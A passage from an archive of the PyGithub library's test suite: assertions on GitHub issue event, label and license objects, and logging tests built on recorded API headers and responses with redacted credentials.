self.assertEqual(self.event_demilestoned.assignee, None) self.assertEqual(self.event_demilestoned.assigner, None) self.assertEqual(self.event_demilestoned.author_association, None) self.assertEqual(self.event_demilestoned.review_requester, None) self.assertEqual(self.event_demilestoned.requested_reviewer, None) self.assertEqual(self.event_demilestoned.requested_team, None) self.assertEqual(self.event_demilestoned.milestone.title, "Version 1.25.0") self.assertEqual(self.event_demilestoned.performed_via_github_app, None) self.assertEqual(self.event_demilestoned.project_card, None) self.assertEqual(self.event_demilestoned.rename, None) self.assertEqual(self.event_demilestoned.dismissed_review, None) self.assertEqual(self.event_demilestoned.lock_reason, None) self.assertEqual(repr(self.event_demilestoned), "IssueEvent(id=1783596452)") def testEvent_locked_Attributes(self): self.assertEqual(self.event_locked.actor.login, "sfdye") self.assertEqual(self.event_locked.commit_id, None) self.assertEqual( self.event_locked.created_at, datetime(2018, 8, 11, 0, 46, 56, tzinfo=timezone.utc), ) self.assertEqual(self.event_locked.event, "locked") self.assertEqual(self.event_locked.id, 1783596743) self.assertEqual(self.event_locked.issue.number, 857) self.assertEqual( self.event_locked.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596743", ) self.assertEqual(self.event_locked.node_id, "MDExOkxvY2tlZEV2ZW50MTc4MzU5Njc0Mw==") self.assertEqual(self.event_locked.commit_url, None) self.assertEqual(self.event_locked.label, None) self.assertEqual(self.event_locked.assignee, None) self.assertEqual(self.event_locked.assigner, None) self.assertEqual(self.event_locked.author_association, None) self.assertEqual(self.event_locked.review_requester, None) self.assertEqual(self.event_locked.requested_reviewer, None) self.assertEqual(self.event_locked.requested_team, None) self.assertEqual(self.event_locked.milestone, None) self.assertEqual(self.event_locked.performed_via_github_app, None) self.assertEqual(self.event_locked.project_card, None) self.assertEqual(self.event_locked.rename, None) self.assertEqual(self.event_locked.dismissed_review, None) self.assertEqual(self.event_locked.lock_reason, "too heated") self.assertEqual(repr(self.event_locked), "IssueEvent(id=1783596743)") def testEvent_unlocked_Attributes(self): self.assertEqual(self.event_unlocked.actor.login, "sfdye") self.assertEqual(self.event_unlocked.commit_id, None) self.assertEqual( self.event_unlocked.created_at, datetime(2018, 8, 11, 0, 47, 7, tzinfo=timezone.utc), ) self.assertEqual(self.event_unlocked.event, "unlocked") self.assertEqual(self.event_unlocked.id, 1783596818) self.assertEqual(self.event_unlocked.issue.number, 857) self.assertEqual( self.event_unlocked.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783596818", ) self.assertEqual(self.event_unlocked.node_id, "MDEzOlVubG9ja2VkRXZlbnQxNzgzNTk2ODE4") self.assertEqual(self.event_unlocked.commit_url, None) self.assertEqual(self.event_unlocked.label, None) self.assertEqual(self.event_unlocked.assignee, None) self.assertEqual(self.event_unlocked.assigner, None) self.assertEqual(self.event_unlocked.author_association, None) self.assertEqual(self.event_unlocked.review_requester, None) self.assertEqual(self.event_unlocked.requested_reviewer, None) self.assertEqual(self.event_unlocked.requested_team, None) self.assertEqual(self.event_unlocked.milestone, None) self.assertEqual(self.event_unlocked.performed_via_github_app, None) self.assertEqual(self.event_unlocked.project_card, None) self.assertEqual(self.event_unlocked.rename, None) self.assertEqual(self.event_unlocked.dismissed_review, None) self.assertEqual(self.event_unlocked.lock_reason, None) self.assertEqual(repr(self.event_unlocked), "IssueEvent(id=1783596818)") def testEvent_review_dismissed_Attributes(self): self.assertEqual(self.event_review_dismissed.actor.login, "sfdye") self.assertEqual(self.event_review_dismissed.commit_id, None) self.assertEqual( self.event_review_dismissed.created_at, datetime(2018, 8, 11, 1, 7, 10, tzinfo=timezone.utc), ) self.assertEqual(self.event_review_dismissed.event, "review_dismissed") self.assertEqual(self.event_review_dismissed.id, 1783605084) self.assertEqual(self.event_review_dismissed.issue.number, 857) self.assertEqual( self.event_review_dismissed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783605084", ) self.assertEqual( self.event_review_dismissed.node_id, "MDIwOlJldmlld0Rpc21pc3NlZEV2ZW50MTc4MzYwNTA4NA==", ) self.assertEqual(self.event_review_dismissed.commit_url, None) self.assertEqual(self.event_review_dismissed.label, None) self.assertEqual(self.event_review_dismissed.assignee, None) self.assertEqual(self.event_review_dismissed.assigner, None) self.assertEqual(self.event_review_dismissed.author_association, None) self.assertEqual(self.event_review_dismissed.review_requester, None) self.assertEqual(self.event_review_dismissed.requested_reviewer, None) self.assertEqual(self.event_review_dismissed.requested_team, None) self.assertEqual(self.event_review_dismissed.milestone, None) self.assertEqual(self.event_review_dismissed.performed_via_github_app, None) self.assertEqual(self.event_review_dismissed.project_card, None) self.assertEqual(self.event_review_dismissed.rename, None) self.assertEqual( self.event_review_dismissed.dismissed_review, { "dismissal_message": "dismiss", "state": "changes_requested", "review_id": 145431295, }, ) self.assertEqual(self.event_review_dismissed.lock_reason, None) self.assertEqual(repr(self.event_review_dismissed), "IssueEvent(id=1783605084)") def testEvent_review_request_removed_Attributes(self): self.assertEqual(self.event_review_request_removed.actor.login, "sfdye") self.assertEqual(self.event_review_request_removed.commit_id, None) self.assertEqual( self.event_review_request_removed.created_at, datetime(2018, 8, 11, 12, 32, 59, tzinfo=timezone.utc), ) self.assertEqual(self.event_review_request_removed.event, "review_request_removed") self.assertEqual(self.event_review_request_removed.id, 1783779835) self.assertEqual(self.event_review_request_removed.issue.number, 857) self.assertEqual( self.event_review_request_removed.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783779835", ) self.assertEqual( self.event_review_request_removed.node_id, "MDI1OlJldmlld1JlcXVlc3RSZW1vdmVkRXZlbnQxNzgzNzc5ODM1", ) self.assertEqual(self.event_review_request_removed.commit_url, None) self.assertEqual(self.event_review_request_removed.label, None) self.assertEqual(self.event_review_request_removed.assignee, None) self.assertEqual(self.event_review_request_removed.assigner, None) self.assertEqual(self.event_review_request_removed.author_association, None) self.assertEqual(self.event_review_request_removed.review_requester.login, "sfdye") self.assertEqual(self.event_review_request_removed.requested_reviewer.login, "jasonwhite") self.assertEqual(self.event_review_request_removed.requested_team, None) self.assertEqual(self.event_review_request_removed.milestone, None) self.assertEqual(self.event_review_request_removed.performed_via_github_app, None) self.assertEqual(self.event_review_request_removed.project_card, None) self.assertEqual(self.event_review_request_removed.rename, None) self.assertEqual(self.event_review_request_removed.dismissed_review, None) self.assertEqual(self.event_review_request_removed.lock_reason, None) self.assertEqual(repr(self.event_review_request_removed), "IssueEvent(id=1783779835)") def testEvent_marked_as_duplicate_Attributes(self): self.assertEqual(self.event_marked_as_duplicate.actor.login, "sfdye") self.assertEqual(self.event_marked_as_duplicate.commit_id, None) self.assertEqual( self.event_marked_as_duplicate.created_at, datetime(2018, 8, 11, 12, 32, 35, tzinfo=timezone.utc), ) self.assertEqual(self.event_marked_as_duplicate.event, "marked_as_duplicate") self.assertEqual(self.event_marked_as_duplicate.id, 1783779725) self.assertEqual(self.event_marked_as_duplicate.issue.number, 857) self.assertEqual( self.event_marked_as_duplicate.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1783779725", ) self.assertEqual( self.event_marked_as_duplicate.node_id, "MDIyOk1hcmtlZEFzRHVwbGljYXRlRXZlbnQxNzgzNzc5NzI1", ) self.assertEqual(self.event_marked_as_duplicate.commit_url, None) self.assertEqual(self.event_marked_as_duplicate.label, None) self.assertEqual(self.event_marked_as_duplicate.assignee, None) self.assertEqual(self.event_marked_as_duplicate.assigner, None) self.assertEqual(self.event_marked_as_duplicate.author_association, None) self.assertEqual(self.event_marked_as_duplicate.review_requester, None) self.assertEqual(self.event_marked_as_duplicate.requested_reviewer, None) self.assertEqual(self.event_marked_as_duplicate.requested_team, None) self.assertEqual(self.event_marked_as_duplicate.milestone, None) self.assertEqual(self.event_marked_as_duplicate.performed_via_github_app, None) self.assertEqual(self.event_marked_as_duplicate.project_card, None) self.assertEqual(self.event_marked_as_duplicate.rename, None) self.assertEqual(self.event_marked_as_duplicate.dismissed_review, None) self.assertEqual(self.event_marked_as_duplicate.lock_reason, None) self.assertEqual(repr(self.event_marked_as_duplicate), "IssueEvent(id=1783779725)") def testEvent_unmarked_as_duplicate_Attributes(self): self.assertEqual(self.event_unmarked_as_duplicate.actor.login, "sfdye") self.assertEqual(self.event_unmarked_as_duplicate.commit_id, None) self.assertEqual( self.event_unmarked_as_duplicate.created_at, datetime(2018, 8, 15, 2, 57, 46, tzinfo=timezone.utc), ) self.assertEqual(self.event_unmarked_as_duplicate.event, "unmarked_as_duplicate") self.assertEqual(self.event_unmarked_as_duplicate.id, 1789228962) self.assertEqual(self.event_unmarked_as_duplicate.issue.number, 857) self.assertEqual( self.event_unmarked_as_duplicate.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1789228962", ) self.assertEqual( self.event_unmarked_as_duplicate.node_id, "MDI0OlVubWFya2VkQXNEdXBsaWNhdGVFdmVudDE3ODkyMjg5NjI=", ) self.assertEqual(self.event_unmarked_as_duplicate.commit_url, None) self.assertEqual(self.event_unmarked_as_duplicate.label, None) self.assertEqual(self.event_unmarked_as_duplicate.assignee, None) self.assertEqual(self.event_unmarked_as_duplicate.assigner, None) self.assertEqual(self.event_unmarked_as_duplicate.author_association, None) self.assertEqual(self.event_unmarked_as_duplicate.review_requester, None) self.assertEqual(self.event_unmarked_as_duplicate.requested_reviewer, None) self.assertEqual(self.event_unmarked_as_duplicate.requested_team, None) self.assertEqual(self.event_unmarked_as_duplicate.milestone, None) self.assertEqual(self.event_unmarked_as_duplicate.performed_via_github_app, None) self.assertEqual(self.event_unmarked_as_duplicate.project_card, None) self.assertEqual(self.event_unmarked_as_duplicate.rename, None) self.assertEqual(self.event_unmarked_as_duplicate.dismissed_review, None) self.assertEqual(self.event_unmarked_as_duplicate.lock_reason, None) self.assertEqual(repr(self.event_unmarked_as_duplicate), "IssueEvent(id=1789228962)") def testEvent_added_to_project_Attributes(self): self.assertEqual(self.event_added_to_project.actor.login, "sfdye") self.assertEqual(self.event_added_to_project.commit_id, None) self.assertEqual( self.event_added_to_project.created_at, datetime(2018, 8, 16, 8, 13, 24, tzinfo=timezone.utc), ) self.assertEqual(self.event_added_to_project.event, "added_to_project") self.assertEqual(self.event_added_to_project.id, 1791766828) self.assertEqual(self.event_added_to_project.issue.number, 857) self.assertEqual( self.event_added_to_project.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791766828", ) self.assertEqual( self.event_added_to_project.node_id, "MDE5OkFkZGVkVG9Qcm9qZWN0RXZlbnQxNzkxNzY2ODI4", ) self.assertEqual(self.event_added_to_project.commit_url, None) self.assertEqual(self.event_added_to_project.label, None) self.assertEqual(self.event_added_to_project.assignee, None) self.assertEqual(self.event_added_to_project.assigner, None) self.assertEqual(self.event_added_to_project.author_association, None) self.assertEqual(self.event_added_to_project.review_requester, None) self.assertEqual(self.event_added_to_project.requested_reviewer, None) self.assertEqual(self.event_added_to_project.requested_team, None) self.assertEqual(self.event_added_to_project.milestone, None) self.assertEqual(self.event_added_to_project.performed_via_github_app, None) self.assertEqual( self.event_added_to_project.project_card, { "column_name": "To do", "id": 12179888, "project_id": 1714960, "project_url": "https://api.github.com/projects/1714960", "url": "https://api.github.com/projects/columns/cards/12179888", }, ) self.assertEqual(self.event_added_to_project.rename, None) self.assertEqual(self.event_added_to_project.dismissed_review, None) self.assertEqual(self.event_added_to_project.lock_reason, None) self.assertEqual(repr(self.event_added_to_project), "IssueEvent(id=1791766828)") def testEvent_moved_columns_in_project_Attributes(self): self.assertEqual(self.event_moved_columns_in_project.actor.login, "sfdye") self.assertEqual(self.event_moved_columns_in_project.commit_id, None) self.assertEqual( self.event_moved_columns_in_project.created_at, datetime(2018, 8, 16, 8, 13, 55, tzinfo=timezone.utc), ) self.assertEqual(self.event_moved_columns_in_project.event, "moved_columns_in_project") self.assertEqual(self.event_moved_columns_in_project.id, 1791767766) self.assertEqual(self.event_moved_columns_in_project.issue.number, 857) self.assertEqual( self.event_moved_columns_in_project.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791767766", ) self.assertEqual( self.event_moved_columns_in_project.node_id, "MDI2Ok1vdmVkQ29sdW1uc0luUHJvamVjdEV2ZW50MTc5MTc2Nzc2Ng==", ) self.assertEqual(self.event_moved_columns_in_project.commit_url, None) self.assertEqual(self.event_moved_columns_in_project.label, None) self.assertEqual(self.event_moved_columns_in_project.assignee, None) self.assertEqual(self.event_moved_columns_in_project.assigner, None) self.assertEqual(self.event_moved_columns_in_project.author_association, None) self.assertEqual(self.event_moved_columns_in_project.review_requester, None) self.assertEqual(self.event_moved_columns_in_project.requested_reviewer, None) self.assertEqual(self.event_moved_columns_in_project.requested_team, None) self.assertEqual(self.event_moved_columns_in_project.milestone, None) self.assertEqual(self.event_moved_columns_in_project.performed_via_github_app, None) self.assertEqual( self.event_moved_columns_in_project.project_card, { "column_name": "In progress", "id": 12179888, "previous_column_name": "To do", "project_id": 1714960, "project_url": "https://api.github.com/projects/1714960", "url": "https://api.github.com/projects/columns/cards/12179888", }, ) self.assertEqual(self.event_moved_columns_in_project.rename, None) self.assertEqual(self.event_moved_columns_in_project.dismissed_review, None) self.assertEqual(self.event_moved_columns_in_project.lock_reason, None) self.assertEqual(repr(self.event_moved_columns_in_project), "IssueEvent(id=1791767766)") def testEvent_removed_from_project_Attributes(self): self.assertEqual(self.event_removed_from_project.actor.login, "sfdye") self.assertEqual(self.event_removed_from_project.commit_id, None) self.assertEqual( self.event_removed_from_project.created_at, datetime(2018, 8, 16, 8, 14, 8, tzinfo=timezone.utc), ) self.assertEqual(self.event_removed_from_project.event, "removed_from_project") self.assertEqual(self.event_removed_from_project.id, 1791768212) self.assertEqual(self.event_removed_from_project.issue.number, 857) self.assertEqual( self.event_removed_from_project.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791768212", ) self.assertEqual( self.event_removed_from_project.node_id, "MDIzOlJlbW92ZWRGcm9tUHJvamVjdEV2ZW50MTc5MTc2ODIxMg==", ) self.assertEqual(self.event_removed_from_project.commit_url, None) self.assertEqual(self.event_removed_from_project.label, None) self.assertEqual(self.event_removed_from_project.assignee, None) self.assertEqual(self.event_removed_from_project.assigner, None) self.assertEqual(self.event_removed_from_project.author_association, None) self.assertEqual(self.event_removed_from_project.review_requester, None) self.assertEqual(self.event_removed_from_project.requested_reviewer, None) self.assertEqual(self.event_removed_from_project.requested_team, None) self.assertEqual(self.event_removed_from_project.milestone, None) self.assertEqual(self.event_removed_from_project.performed_via_github_app, None) self.assertEqual( self.event_removed_from_project.project_card, { "column_name": "In progress", "id": 12179888, "project_id": 1714960, "project_url": "https://api.github.com/projects/1714960", "url": "https://api.github.com/projects/columns/cards/12179888", }, ) self.assertEqual(self.event_removed_from_project.rename, None) self.assertEqual(self.event_removed_from_project.dismissed_review, None) self.assertEqual(self.event_removed_from_project.lock_reason, None) self.assertEqual(repr(self.event_removed_from_project), "IssueEvent(id=1791768212)") def testEvent_converted_note_to_issue_Attributes(self): self.assertEqual(self.event_converted_note_to_issue.actor.login, "sfdye") self.assertEqual(self.event_converted_note_to_issue.commit_id, None) self.assertEqual( self.event_converted_note_to_issue.created_at, datetime(2018, 8, 16, 8, 14, 34, tzinfo=timezone.utc), ) self.assertEqual(self.event_converted_note_to_issue.event, "converted_note_to_issue") self.assertEqual(self.event_converted_note_to_issue.id, 1791769149) self.assertEqual(self.event_converted_note_to_issue.issue.number, 866) self.assertEqual( self.event_converted_note_to_issue.url, "https://api.github.com/repos/PyGithub/PyGithub/issues/events/1791769149", ) self.assertEqual( self.event_converted_note_to_issue.node_id, "MDI1OkNvbnZlcnRlZE5vdGVUb0lzc3VlRXZlbnQxNzkxNzY5MTQ5", ) self.assertEqual(self.event_converted_note_to_issue.commit_url, None) self.assertEqual(self.event_converted_note_to_issue.label, None) self.assertEqual(self.event_converted_note_to_issue.assignee, None) self.assertEqual(self.event_converted_note_to_issue.assigner, None) self.assertEqual(self.event_converted_note_to_issue.author_association, None) self.assertEqual(self.event_converted_note_to_issue.review_requester, None) self.assertEqual(self.event_converted_note_to_issue.requested_reviewer, None) self.assertEqual(self.event_converted_note_to_issue.requested_team, None) self.assertEqual(self.event_converted_note_to_issue.milestone, None) self.assertEqual(self.event_converted_note_to_issue.performed_via_github_app, None) self.assertEqual( self.event_converted_note_to_issue.project_card, { "column_name": "To do", "id": 12179901, "project_id": 1714960, "project_url": "https://api.github.com/projects/1714960", "url": "https://api.github.com/projects/columns/cards/12179901", }, ) self.assertEqual(self.event_converted_note_to_issue.rename, None) self.assertEqual(self.event_converted_note_to_issue.dismissed_review, None) self.assertEqual(self.event_converted_note_to_issue.lock_reason, None) self.assertEqual(repr(self.event_converted_note_to_issue), "IssueEvent(id=1791769149)") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Label.py0000644000175100001660000001023014756101563015515 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Mateusz Loskot # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class Label(Framework.TestCase): def setUp(self): super().setUp() self.label = self.g.get_repo("PyGithub/PyGithub").get_label("Bug") def testAttributes(self): self.assertEqual(self.label.color, "e10c02") self.assertEqual(self.label.default, True) self.assertIsNone(self.label.description) self.assertEqual(self.label.id, 3330121) self.assertEqual(self.label.name, "bug") self.assertIsNone(self.label.description) self.assertEqual(self.label.node_id, "MDU6TGFiZWwzMzMwMTIx") self.assertEqual(self.label.url, "https://api.github.com/repos/PyGithub/PyGithub/labels/bug") self.assertEqual(repr(self.label), 'Label(name="bug")') def testEdit(self): self.label.edit("LabelEditedByPyGithub", "0000ff", "Description of LabelEditedByPyGithub") self.assertEqual(self.label.color, "0000ff") self.assertEqual(self.label.description, "Description of LabelEditedByPyGithub") self.assertEqual(self.label.name, "LabelEditedByPyGithub") self.assertEqual( self.label.url, "https://api.github.com/repos/PyGithub/PyGithub/labels/LabelEditedByPyGithub", ) def testDelete(self): self.label.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/License.py0000644000175100001660000001212614756101563016066 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2018 Wan Liuyang # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class License(Framework.TestCase): def setUp(self): super().setUp() self.license = self.g.get_license("mit") def testAttributes(self): self.assertEqual(self.license.html_url, "http://choosealicense.com/licenses/mit/") self.assertEqual(self.license.key, "mit") self.assertEqual(self.license.name, "MIT License") self.assertEqual( self.license.description, "A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code.", ) self.assertEqual(self.license.node_id, "MDc6TGljZW5zZTEz") self.assertEqual(self.license.spdx_id, "MIT") self.assertEqual( self.license.body, """MIT License\n\nCopyright (c) [year] [fullname]\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the "Software"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n""", ) self.assertEqual( self.license.permissions, ["commercial-use", "modifications", "distribution", "private-use"], ) self.assertEqual(self.license.conditions, ["include-copyright"]) self.assertEqual(self.license.limitations, ["liability", "warranty"]) self.assertEqual(self.license.url, "https://api.github.com/licenses/mit") self.assertEqual(self.license.html_url, "http://choosealicense.com/licenses/mit/") self.assertEqual( self.license.implementation, """Create a text file (typically named LICENSE or LICENSE.txt) in the root of your source code and copy the text of the license into the file. Replace [year] with the current year and [fullname] with the name (or names) of the copyright holders.""", ) self.assertEqual(repr(self.license), 'License(name="MIT License")') ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Logging_.py0000644000175100001660000003172614756101563016240 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2017 Hugo # # Copyright 2018 R1kk3r # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2024 Jonathan Kliem # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework from .Authentication import CustomAuth class Logging(Framework.BasicTestCase): class MockLogger: def __init__(self): self.verb = None self.url = None self.requestHeaders = None self.input = None self.status = None self.responseHeaders = None self.output = None def isEnabledFor(self, kind): return True def debug( self, format_string, verb, scheme, hostname, fragment, requestHeaders, input_, status, responseHeaders, output, ): self.verb = verb self.url = f"{scheme}://{hostname}{fragment}" self.requestHeaders = requestHeaders self.input = input_ self.status = status self.responseHeaders = responseHeaders self.output = output def setUp(self): super().setUp() self.logger = self.MockLogger() github.Requester.Requester.injectLogger(self.logger) def tearDown(self): github.Requester.Requester.resetLogger() super().tearDown() def assertLogging(self, verb, url, requestHeaders, responseHeaders, output): self.assertEqual(self.logger.verb, verb) self.assertEqual(self.logger.url, url) self.assertEqual(self.logger.requestHeaders, requestHeaders) self.assertIsNone(self.logger.input) self.assertEqual(self.logger.status, 200) self.assertEqual(self.logger.responseHeaders, responseHeaders) self.assertEqual(self.logger.output, output) def testLoggingWithBasicAuthentication(self): self.assertEqual(github.Github(auth=self.login).get_user().name, "Vincent Jacques") url = "https://api.github.com/user" requestHeaders = { "Authorization": "Basic (login and password removed)", "User-Agent": "PyGithub/Python", } responseHeaders = { "status": "200 OK", "content-length": "806", "x-github-media-type": "github.beta; format=json", "x-content-type-options": "nosniff", "x-ratelimit-limit": "5000", "vary": "Accept, Authorization, Cookie", "x-ratelimit-remaining": "4993", "server": "nginx", "last-modified": "Fri, 14 Sep 2012 18:47:46 GMT", "connection": "keep-alive", "etag": '"434dfe5d3f50558fe3cea087cb95c401"', "cache-control": "private, s-maxage=60, max-age=60", "date": "Mon, 17 Sep 2012 17:12:32 GMT", "content-type": "application/json; charset=utf-8", "DEBUG_FRAME": 0, } output = '{"owned_private_repos":3,"disk_usage":18612,"following":28,"type":"User","public_repos":13,"location":"Paris, France","company":"Criteo","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","plan":{"space":614400,"private_repos":5,"name":"micro","collaborators":1},"blog":"http://vincent-jacques.net","login":"jacquev6","public_gists":3,"html_url":"https://github.com/jacquev6","hireable":false,"created_at":"2010-07-09T06:10:06Z","private_gists":5,"followers":13,"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","bio":"","total_private_repos":3,"collaborators":0,"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"url":"https://api.github.com/users/jacquev6"}' self.assertLogging("GET", url, requestHeaders, responseHeaders, output) def testLoggingWithOAuthAuthentication(self): self.assertEqual(github.Github(auth=self.oauth_token).get_user().name, "Vincent Jacques") url = "https://api.github.com/user" requestHeaders = { "Authorization": "token (oauth token removed)", "User-Agent": "PyGithub/Python", } responseHeaders = { "status": "200 OK", "x-ratelimit-remaining": "4993", "x-github-media-type": "github.beta; format=json", "x-content-type-options": "nosniff", "vary": "Accept, Authorization, Cookie", "content-length": "628", "server": "nginx", "last-modified": "Tue, 25 Sep 2012 07:42:42 GMT", "connection": "keep-alive", "x-ratelimit-limit": "5000", "etag": '"c23ad6b5815fc3d6ec6341c4a47afe85"', "cache-control": "private, max-age=60, s-maxage=60", "date": "Tue, 25 Sep 2012 20:36:54 GMT", "x-oauth-scopes": "", "content-type": "application/json; charset=utf-8", "x-accepted-oauth-scopes": "user", "DEBUG_FRAME": 0, } output = '{"type":"User","bio":"","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","blog":"http://vincent-jacques.net","public_repos":13,"created_at":"2010-07-09T06:10:06Z","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","email":"vincent@vincent-jacques.net","following":29,"name":"Vincent Jacques","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","hireable":false,"id":327146,"public_gists":3,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"}' self.assertLogging("GET", url, requestHeaders, responseHeaders, output) def testLoggingWithoutAuthentication(self): self.assertEqual(github.Github().get_user("jacquev6").name, "Vincent Jacques") url = "https://api.github.com/users/jacquev6" requestHeaders = {"User-Agent": "PyGithub/Python"} responseHeaders = { "status": "200 OK", "content-length": "628", "x-github-media-type": "github.beta; format=json", "x-content-type-options": "nosniff", "x-ratelimit-limit": "5000", "vary": "Accept", "x-ratelimit-remaining": "4989", "server": "nginx", "last-modified": "Tue, 25 Sep 2012 07:42:42 GMT", "connection": "keep-alive", "etag": '"9bd085221a16b6d2ea95e72634c3c1ac"', "cache-control": "public, max-age=60, s-maxage=60", "date": "Tue, 25 Sep 2012 20:38:56 GMT", "content-type": "application/json; charset=utf-8", "DEBUG_FRAME": 0, } output = '{"type":"User","html_url":"https://github.com/jacquev6","login":"jacquev6","followers":14,"company":"Criteo","created_at":"2010-07-09T06:10:06Z","email":"vincent@vincent-jacques.net","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_gists":3,"bio":"","following":29,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146,"public_repos":13,"location":"Paris, France","url":"https://api.github.com/users/jacquev6"}' self.assertLogging("GET", url, requestHeaders, responseHeaders, output) def testLoggingWithBaseUrl(self): # ReplayData forged, not recorded self.assertEqual( github.Github(base_url="http://my.enterprise.com/my/prefix").get_user("jacquev6").name, "Vincent Jacques", ) url = "http://my.enterprise.com/my/prefix/users/jacquev6" requestHeaders = {"User-Agent": "PyGithub/Python"} responseHeaders = { "status": "200 OK", "content-length": "628", "x-github-media-type": "github.beta; format=json", "x-content-type-options": "nosniff", "x-ratelimit-limit": "5000", "vary": "Accept", "x-ratelimit-remaining": "4989", "server": "nginx", "last-modified": "Tue, 25 Sep 2012 